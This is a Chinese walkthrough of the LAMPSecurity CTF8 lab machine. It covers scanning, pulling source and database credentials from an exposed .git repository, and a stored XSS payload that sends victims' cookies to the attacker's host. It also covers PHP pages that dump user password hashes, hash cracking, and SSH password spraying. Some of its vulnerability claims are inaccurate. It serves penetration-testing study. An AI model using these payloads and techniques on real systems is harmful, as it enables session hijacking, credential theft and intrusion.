LAMPSecurity: CTF8

来自 <https://www.vulnhub.com/entry/lampsecurity-ctf8,87/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.141

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.141

1. 文件传输服务:21/tcp(FTP)

  • 服务版本:vsftpd 2.0.5(2007 年发布,超 15 年历史的老旧版本)
  • 关键配置:
    • 允许匿名登录(FTP 代码 230,无需账号密码即可访问)
    • 存在公开目录 pub(权限 drwxr-xr-x,所有人可读可执行)
  • 风险:匿名登录可能导致敏感文件泄露;vsftpd 2.0.5 存在已知漏洞(如 CVE-2011-0762,虽非远程代码执行,但可能被用于信息收集或弱口令爆破)。

2. 远程管理服务:22/tcp(SSH)

  • 服务版本:OpenSSH 4.3(2006 年发布,极度老旧)
  • 密钥信息:
    • DSA 密钥(1024 位,已不符合现代安全标准,易被破解)
    • RSA 密钥(2048 位,虽长度合规,但依赖的 OpenSSH 版本存在高危漏洞)
  • 风险:OpenSSH 4.3 存在多个远程漏洞(如 CVE-2008-1483,远程代码执行;CVE-2016-10012,权限提升),攻击者可直接利用漏洞获取系统权限。

3. 邮件服务:25/tcp(SMTP)、110/tcp(POP3)、143/tcp(IMAP)、993/tcp(SSL/IMAP)、995/tcp(SSL/POP3)

  • 核心组件:
    • SMTP:Sendmail 2.0.0(配置简单,无认证防护,易被用于发送垃圾邮件)
    • POP3/IMAP:Dovecot imapd(SSL 证书已过期超 10 年:有效期 2013.05.29-2014.05.29)
  • 关键风险:
    • SSL 证书过期:加密通信无效,数据(如邮件密码)可能被中间人劫持
    • 支持SSLv2 协议(已被废弃的不安全协议,存在 POODLE 等漏洞,易被破解加密)
    • SMTP 无认证:可能成为 “垃圾邮件中继站”,导致 IP 被黑名单封禁

4. Web 服务:80/tcp(HTTP)、443/tcp(HTTPS)

  • 服务版本:Apache httpd 2.2.3(2006 年发布,存在大量未修复漏洞)
  • 网站特征:
    • 标题 “LAMPSecurity Research”,推测为LAMPSecurity 靶场环境(用于渗透测试学习,但若为生产环境则风险极高)
    • 内容管理系统(CMS):Dovecot(通过 favicon 识别)
    • 暴露Git 仓库(路径 /.git/),包含 “initial commit” 提交记录
    • robots.txt 禁止访问 36 个路径(如/includes/、/modules/),但 Git 仓库暴露可能泄露源码
  • 风险:
    • Apache 2.2.3 存在高危漏洞(如 CVE-2011-3192,远程代码执行;CVE-2007-6750,目录遍历)
    • Git 仓库泄露:攻击者可下载完整源码,分析代码逻辑寻找 SQL 注入、文件上传等漏洞
    • HTTPS 证书过期(2013.05.29-2014.05.29),加密无效

5. 数据库服务:3306/tcp(MySQL)

  • 服务状态:开放但 “未授权访问”(扫描提示unauthorized)
  • 风险:虽当前拒绝匿名访问,但 MySQL 若使用弱口令(如root/123456),易被暴力破解;且老旧系统可能搭配低版本 MySQL(如 5.0.x),存在远程代码执行漏洞(如 CVE-2016-6662)。

6. 远程桌面服务:5801-5804/tcp(VNC-HTTP)、5901-5904/tcp(VNC)、6001-6004/tcp(X11)

  • 服务版本:RealVNC 4.0(2005 年发布,老旧版本)
  • 关键配置:
    • VNC 使用 “VNC Authentication” 认证(仅基于密码,无二次验证)
    • X11 服务开放(Linux 图形界面远程访问),但提示 “access denied”(当前拒绝访问,风险较低)
  • 风险:
    • RealVNC 4.0 存在密码破解漏洞(弱口令易被爆破,如默认密码password)
    • 同时开放 4 个 VNC 实例(5901-5904),扩大攻击面,若其中一个密码泄露则整机沦陷

7. 文件共享服务:139/tcp、445/tcp(Samba)

  • 服务版本:Samba 3.0.33-3.7.el5(2007 年左右版本,适配 CentOS 5)
  • 关键配置:
    • 工作组:WORKGROUP(默认工作组,无自定义防护)
    • 安全模式:message_signing: disabled(禁用消息签名,易被中间人攻击)
    • SMB2 协议协商失败,仅支持老旧的 SMB1 协议(存在永恒之蓝等漏洞)
  • 风险:Samba 3.0.x 存在高危漏洞(如 CVE-2007-2447,远程代码执行;CVE-2017-7494,文件上传漏洞),攻击者可利用漏洞获取系统权限。

8. 其他服务:111/tcp(rpcbind)、869/tcp(status)

  • rpcbind:负责 RPC 服务端口映射,无直接漏洞,但可能被用于探测内网其他 RPC 服务(如 NFS)
  • status:RPC 状态服务(端口 869),仅用于内部状态查询,风险较低

4,访问80端口开设的http服务

存在一个登录页面,再扫描其子目录看看

gobuster dir -u http://192.168.23.141/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

再扫描识别网站指纹特征

whatweb -v http://192.168.23.141

查看页面源码得到第一个flag

5,扫出来一些敏感目录

dirsearch -u http://192.168.23.141 -x 404,403

http://192.168.23.141/phpinfo.php

得到第二个flag

view-source:http://192.168.23.141/tracker

得到第三个flag

http://192.168.23.141/robots.txt

第四个flag

http://192.168.23.141/profile 得到一堆用户名,可作为账号名字典

6,注意到存在git源码泄露,可以使用工具进行利用

export https_proxy="http://192.168.99.89:7897"  

git clone https://github.com/lijiejie/GitHack.git

cd GitHack

python GitHack.py http://192.168.23.141/.git/

cat 192.168.23.141/sites/default/settings.php

由此知道数据库用户名及密码:root/JumpUpAndDown,数据库名:drupal

7,使用nikto扫描web漏洞信息

nikto -h 192.168.23.141

可能存在XSS漏洞,尝试利用之

不存在抗点击劫持的X-Frame-Options标头。

X-XSS-Protection头没有定义。此header可以提示用户代理防止某些形式的XSS

没有设置X-Content-Type-Options标头。这可以让用户代理以一种不同于MIME类型的方式呈现网站内容

8,先注册一个账户

http://192.168.23.141/user/register

注册成功。寻找推送帖子的Barbara,在其发布的帖子的评论框内插入xss payload:

<script>alert(/xss/)</script>

证明存在XSS漏洞,那么就可以写一个payload窃取cookie

<script>

var request=new XMLHttpRequest();

var redirect_url="http://192.168.23.128:8000/"+document.cookie;

request.open("GET",redirect_url);

request.send();

</script>

kali需要一直开启一个http服务接收cookie

python -m http.server

回到http://192.168.182.128/tracker,点击Barbara,点击Contact

随便找个理由让她点进这个页面:

http://192.168.23.141/content/lampsec-point-security-available#comment-4

先编辑好发送邮件。这里就会接收到barbara的cookie,在浏览器开发者模式进行替换就能变成barbara用户

9,该用户拥有对网站查看的权限,怀疑存在代码执行漏洞,直接反弹shell失败。但是可以在网页执行PHP代码实现脱库

创建PHP页面来获取数据库所有表名:

<?php

$result = db_query('select table_name from information_schema.tables');

while($test = mysqli_fetch_object($result)){

print_r($test->table_name."<br/>");

}

?>

回显出各种数据表名

创建PHP页面来获取数据库所有表名:

<?php

$result = db_query('show tables');

while($test = mysqli_fetch_array($result)){

print_r($test[0]."<br/>");

}

?>

回显出drupal数据库中的表名

创建PHP页面来获取users表中有哪些字段:

<?php

$result = db_query('select * from users');

while($test = mysqli_fetch_object($result)){

print_r($test);

}

?>

回显出drupal数据库中users表中的字段名。

创建PHP页面来获取users表中name和pass字段:

<?php

$result = db_query('select name,pass from users');

while($test = db_fetch_object($result))

{

print $test->name . ":" . $test->pass . "<br/>";

}

?>

数据回显成功

10,用户名密码写入字典,然后进行解密

john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 /root/user.txt

然后分别建立user.txt和passwd.txt进行密码喷射以得到正确账户密码

ncrack -p 22 -U user.txt -P passwd.txt 192.168.23.141

login: bdio   password: passw0rd

login: spinkton   password: football123

login: jharraway   password: letmein!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/96164.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/96164.shtml
英文地址,请注明出处:http://en.pswp.cn/web/96164.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

绿算技术闪耀智博会 赋能乡村振兴与产业升级

9月5日至7日&#xff0c;由宁波市人民政府、浙江省经济和信息化厅、中国信息通信研究院联合主办的第十五届智慧城市与智能经济博览会在宁波国际会展中心圆满落幕。绿算技术受邀参展&#xff0c;并发布与北京东方联鸣科技发展有限公司联合打造的《360数智牧业AI模型支撑底座》&a…

浅谈“SVMSPro视频切片”技术应用场景

技术定义视频切片是一项将连续不断的视频流&#xff0c;按特定规则&#xff08;如时间点、事件触发&#xff09;切割成一个个独立、完整的MP4等标准视频文件的技术。这些切片文件体积小、格式通用&#xff0c;易于管理、传输和播放。核心价值精准存档&#xff1a;从海量录像中精…

php 使用html 生成pdf word wkhtmltopdf 系列1

php 使用html 生成pdf word wkhtmltopdf 系列2 php 使用html 生成 pdf word 项目有个需求 想同时生成word 和pdf 并且对pdf要求比较高 为了一劳永逸 决定写成html 分别转成word 和pdf 系统环境 windows10 小皮面板&#xff08;php8&#xff09; linux centos 7.9 宝塔&…

Git常用命令大全:高效开发必备

目录 常用Git命令清单 1. 新建代码库 2. 配置 3. 增加/删除文件 4. 代码提交 5. 分支 6. 标签 7. 查看信息 8. 远程同步 9. 撤销 10. 常用操作组合 修改本地分支名和远程分支名 附录&#xff1a;Git命令思维导图 安装gitlab 常用Git命令清单 一般来说&#xff0…

AJAX入门-URL

本系列可作为前端学习系列的笔记&#xff0c;代码的运行环境是在VS code中&#xff0c;小编会将代码复制下来&#xff0c;大家复制下来就可以练习了&#xff0c;方便大家学习。 HTML、CSS、JavaScript系列文章 已经收录在前端专栏&#xff0c;有需要的宝宝们可以点击前端专栏查…

【深度学习新浪潮】什么是具身智能?

具身智能(Embodied AI)是人工智能与机器人技术深度融合的前沿领域,其核心是通过物理实体与环境的实时交互闭环,实现感知-认知-决策-行动的一体化自主进化。这类系统不仅能理解语言指令,更能通过高精度传感器(如触觉、视觉、力觉融合)感知物理世界,依托多模态大模型完成…

动画蓝图与动画状态机:从 Unity Mecanim 到 Unreal Animation Blueprint 的一把梭

动画蓝图与动画状态机&#xff1a;从 Unity Mecanim 到 Unreal Animation Blueprint 的一把梭这篇是系列的第一篇。目标很简单&#xff1a;把 Unreal 的 Animation Blueprint 和 Unity 的 Animator Controller&#xff08;Mecanim&#xff09; 放在同一张桌子上&#xff0c;系统…

实战案例:数字孪生+可视化大屏,如何高效管理智慧能源园区?

摘要&#xff1a; 当智慧遇上能源&#xff0c;一场管理革命正在悄然发生。想象一下&#xff1a;一个占地千亩的能源园区&#xff0c;光伏板、储能站、风力机组星罗棋布&#xff0c;传统管理模式下&#xff0c;数据分散、响应滞后、故障频发... 但某园区引入“数字孪生可视化大屏…

Django 从环境搭建到第一个项目

作为一名刚接触 Django 的开发者&#xff0c;我在学习过程中整理了这份入门笔记&#xff0c;涵盖 Django 框架基础、环境搭建、第一个项目创建以及核心配置&#xff0c;希望能为同样刚入门的小伙伴提供清晰的学习思路。 一、Django 框架基础认知 在开始实际操作前&#xff0c…

机器学习实操项目02——Pandas入门(基本操作、创建对象、查看数据、数据选择、处理缺失数据、数据合并、数据分组、时间序列、绘图、文件导出)

上一章&#xff1a;机器学习实操项目01——Numpy入门&#xff08;基本操作、数组形状操作、复制与试图、多种索引技巧、线性代数&#xff09; 下一章&#xff1a; 机器学习核心知识点目录&#xff1a;机器学习核心知识点目录 机器学习实战项目目录&#xff1a;【从 0 到 1 落地…

springboot超市货品信息管理系统

开发环境开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09; 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;eclipse/myeclipse/idea Mave…

c# .net中using的使用

using示例代码 示例代码1&#xff1a; using HttpContent httpContent new StringContent(postData, Encoding.UTF8);示例代码2&#xff1a; using (var process Process.Start(info)) {output process.StandardOutput.ReadToEnd(); }示例代码1写法&#xff1a; using HttpC…

STM32HAL 快速入门(二十):UART 中断改进 —— 环形缓冲区解决数据丢失

前言 大家好&#xff0c;这里是 Hello_Embed。上一篇我们用中断方式实现了 UART 收发&#xff0c;但发现一个关键问题&#xff1a;若 CPU 在处理其他任务时未及时重新使能接收中断&#xff0c;新数据会覆盖旧数据&#xff0c;导致丢失。本篇的核心改进方案是 ——“中断接收 环…

使用Docker搭建MaxKB智能体平台

1、系统要求 详见&#xff1a; https://maxkb.cn/docs/v2/quick_start https://maxkb.cn/docs/v2/installation/offline_installtion https://maxkb.cn/docs/v2/installation/online_installtion 2、安装Docker 合集&#xff1a;Docker安装与使用 3、安装MaxKB 详见&#xf…

宠物电商痛点破解:智能客服的关键作用

在宠物电商蓬勃发展的当下&#xff0c;行业面临着诸多痛点。从客户咨询的高频率到订单处理的复杂性&#xff0c;每一个环节都可能成为制约发展的瓶颈。而智能客服的出现&#xff0c;为这些痛点提供了有效的解决方案&#xff0c;成为宠物电商行业不可或缺的助力。一、宠物电商的…

基于GraphRAG+Ollama验证知识图谱和检索增强融合

之前介绍了知识图谱与检索增强的融合探索GraphRAG。 https://blog.csdn.net/liliang199/article/details/151189579 这里尝试在CPU环境&#xff0c;基于GraphRAGOllama&#xff0c;验证GraphRAG构建知识图谱和检索增强查询过程。 1 环境安装 1.1 GraphRAG安装 在本地cpu环境…

36页可编辑PPT | 某制造集团灯塔工厂解决方案

制造业企业订单种类多&#xff0c;传统产线换型慢&#xff0c;库存高&#xff0c;财务压力大。工人年龄大&#xff0c;招工难&#xff0c;工资涨&#xff0c;效率低。海外对手用低价和柔性产线抢单&#xff0c;国内同行用数字化缩短交期。企业想扩产&#xff0c;又怕投资重、回…

Redis 非缓存核心场景及实例说明

Redis 非缓存核心场景及实例说明 一、分布式锁 分布式锁用于解决分布式系统中多节点竞争同一资源的问题&#xff0c;确保操作原子性。Redis 实现分布式锁的核心思路是利用键的唯一性和原子命令&#xff0c;通常基于 Redisson 框架简化实现&#xff08;底层依赖 Redis 命令&…

【技术教程】如何将ONLYOFFICE文档集成到使用Spring Boot框架编写的Java Web应用程序中

在现代协作办公环境中&#xff0c;将功能强大的文档编辑器无缝集成到自有业务系统中&#xff0c;已成为提升工作效率和用户体验的关键需求。ONLYOFFICE 文档服务器提供了一套成熟的在线文档编辑解决方案&#xff0c;而 Java Spring Boot 则是构建高效、模块化 Web 应用的热门框…

openharmony之AV_CodeC音视频编解码模块详解(二)

1. 音频解码器函数调用流程 1.1 音频解码器架构概览 decoder:解码器 encoder:编码器 前面文章介绍了关于openHarmony的AV_CodeC模块,这篇文章将详细讲解编解码时函数的调用流程 音频解码器采用插件化架构,核心实现位于: services/engine/codec/audio/decoder/audio_ffmpeg…